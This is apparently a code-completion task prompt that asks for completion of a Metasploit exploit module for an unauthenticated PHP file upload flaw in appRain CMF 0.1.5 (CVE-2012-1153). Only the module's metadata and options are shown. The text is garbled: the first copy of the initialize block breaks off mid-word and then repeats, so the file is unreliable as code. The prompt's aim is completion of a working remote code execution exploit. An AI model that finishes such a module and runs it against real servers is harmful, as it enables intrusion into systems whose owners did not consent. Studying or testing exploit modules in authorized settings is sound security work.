You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: apprain_upload_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "appRain CMF Arbitrary PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in appRain's Content Management
        Framework (CMF), version 0.1.5 or less.  B
    
  def initialize(info={})
    super(update_info(info,
      'Name'           => "appRain CMF Arbitrary PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in appRain's Content Management
        Framework (CMF), version 0.1.5 or less.  By abusing the uploadify.php file, a
        malicious user can upload a file to the uploads/ directory without any
        authentication, which results in arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',   #Discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2012-1153'],
          ['OSVDB', '78473'],
          ['EDB', '18392'],
          ['BID', '51576']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['appRain 0.1.5 or less', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-01-19',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
        ])
  end